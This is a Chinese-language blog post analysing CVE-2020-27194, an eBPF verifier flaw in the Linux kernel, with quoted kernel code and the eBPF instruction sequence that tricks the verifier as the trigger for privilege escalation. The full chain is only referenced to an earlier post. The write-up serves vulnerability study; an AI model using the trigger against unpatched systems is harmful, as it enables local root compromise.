【OwVA】CVE-2020-27194 eBPF 漏洞分析

介绍

CVE-2020-27194 与 CVE-2020-8835 非常相似,都是位于 Linux 内核 eBPF 模块的漏洞,对其进行利用之后可以实现权限提升,可以通过对这个 commit 来对目标漏洞进行调试分析。

背景

eBPF 的基本概念已经在分析 CVE-2020-8835 有过介绍,这里介绍一下一些与之前不同的且与当前漏洞相关的地方。

之前提到,eBPF 使用 struct bpf_reg_state 结构体对寄存器的取值范围进行追踪。但是现在在该结构体中,为了支持 32-Bit 指令值的追踪,多了几个新的成员变量:

{
    // ...
    s32 s32_min_value; /* minimum possible (s32)value */
    s32 s32_max_value; /* maximum possible (s32)value */
    u32 u32_min_value; /* minimum possible (u32)value */
    u32 u32_max_value; /* maximum possible (u32)value */
    // ...
}

分别表示当前寄存器在存储 32-Bit 值的时候的范围。有趣的是,这几个值与 64-Bit 版本的几个值是可以相互保持独立的,即如果先试用 BPF_JMP32_IMM 指令控制了 s32_max_value 的值,然后再使用 BPF_JMP_IMM 指令控制 smax_value,此时不会影响 s32_max_value 的值。

后续如果遇到使用 32-Bit 指令对寄存器进行操作,则会使用 32-Bit 的版本对其范围进行判断。

此外,在验证阶段,对寄存器的范围操作的函数 scalar_* 均加入了 32-Bit 版本的函数,以 scalar32_* 开头。

漏洞

CVE-2020-27194 存在于 OR 指令对应的 32-Bit 操作函数 scalar32_min_max_or 中。该函数的实现如下:

static void scalar32_min_max_or(struct bpf_reg_state *dst_reg,
                struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->smin_value;
    u32 umin_val = src_reg->umin_value;

    /* Assuming scalar64_min_max_or will be called so it is safe
     * to skip updating register for known case.
     */
    if (src_known && dst_known)
        return;

    /* We get our maximum from the var_off, and our minimum is the
     * maximum of the operands' minima
     */
    dst_reg->u32_min_value = max(dst_reg->u32_min_value, umin_val);
    dst_reg->u32_max_value = var32_off.value | var32_off.mask;
    if (dst_reg->s32_min_value < 0 || smin_val < 0) {
        // ...
    } else {
        /* ORing two positives gives a positive, so safe to
         * cast result into s64.
         */
        dst_reg->s32_min_value = dst_reg->umin_value;
        dst_reg->s32_max_value = dst_reg->umax_value;  // 漏洞位置
    }
}

可以看到,在该函数中,直接将 64-Bit 的 dst_reg->umax_value 赋值给 dst_reg->s32_max_value,而没有考虑溢出问题,那么如果 dst_reg->umax_value 的值为 0x100000001,则 dst_reg->s32_max_value 的值会被赋值为 1,这样就会使得验证器认为该寄存器的值在 32-Bit 情况下是确定的 1。

利用

利用的方式与上一个漏洞的分析一样,构建一个 eBPF 程序,并将其挂在 socket 中,使其在用户态程序通过 socket 进行通信时被调用。具体可以看之前这篇文章的分析。这里主要介绍一下对这个漏洞的触发的地方。

为了迷惑验证器,首先我们得构造一个寄存器的 64-Bit 值的范围,使得验证器认为 umin_value 为 1umax_value 的值为 0x100000001。此外,由于该函数中的 if 判断,我们需要使得寄存器的 s32_min_value 的值大于等于 0,因此我们需要使用 BPF_JMP32_IMM 指令单独对 32-Bit 值的范围进行设置。如下代码所示:

BPF_JMP32_IMM(BPF_JLE, BPF_REG_6, 0x7fffffff, 1),  // r6(32) <= 0x7fffffff
BPF_EXIT_INSN(),

BPF_JMP_IMM(BPF_JGE, BPF_REG_6, 1, 1),  // r6 >= 1
BPF_EXIT_INSN(),

BPF_MOV64_IMM(BPF_REG_8, 1),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_8, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, 1),
BPF_JMP_REG(BPF_JLE, BPF_REG_6, BPF_REG_8, 1),  // r6(64) <= 0x100000001
BPF_EXIT_INSN(),

这样之后得到的该寄存器(r6)对应的 struct bpf_reg_state 结构如下:

之后,我们需要触发内核调用 scalar32_min_max_or 函数,由下列代码可知,对寄存器使用 OR 操作之后,内核就会分别调用 OR 对应的 32-Bit 和 64-Bit 版本的函数:

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                      struct bpf_insn *insn,
                      struct bpf_reg_state *dst_reg,
                      struct bpf_reg_state src_reg) {
    // ...
    case BPF_OR:
        dst_reg->var_off = tnum_or(dst_reg->var_off, src_reg.var_off);
        scalar32_min_max_or(dst_reg, &src_reg);
        scalar_min_max_or(dst_reg, &src_reg);
    // ...
}

因此,我们只需要调用 BPF_OR 指令即可:

BPF_ALU64_IMM(BPF_OR, BPF_REG_6, 0),
// 调用 32-Bit 移动指令,将 r6 对应的 32-Bit 范围挪到 r5
// 此时验证器认为 r5 就是确定的 1
BPF_MOV32_REG(BPF_REG_5, BPF_REG_6),

BPF_OR 指令之后 struct bpf_reg_state 的值如下:

之后的利用就跟 CVE-2020-8835 的利用一致,不过有一些地址的偏移需要修改,可以通过调试来获得对应的偏移,最终可以利用成功:

参考

Leave a Reply

Your email address will not be published. Required fields are marked *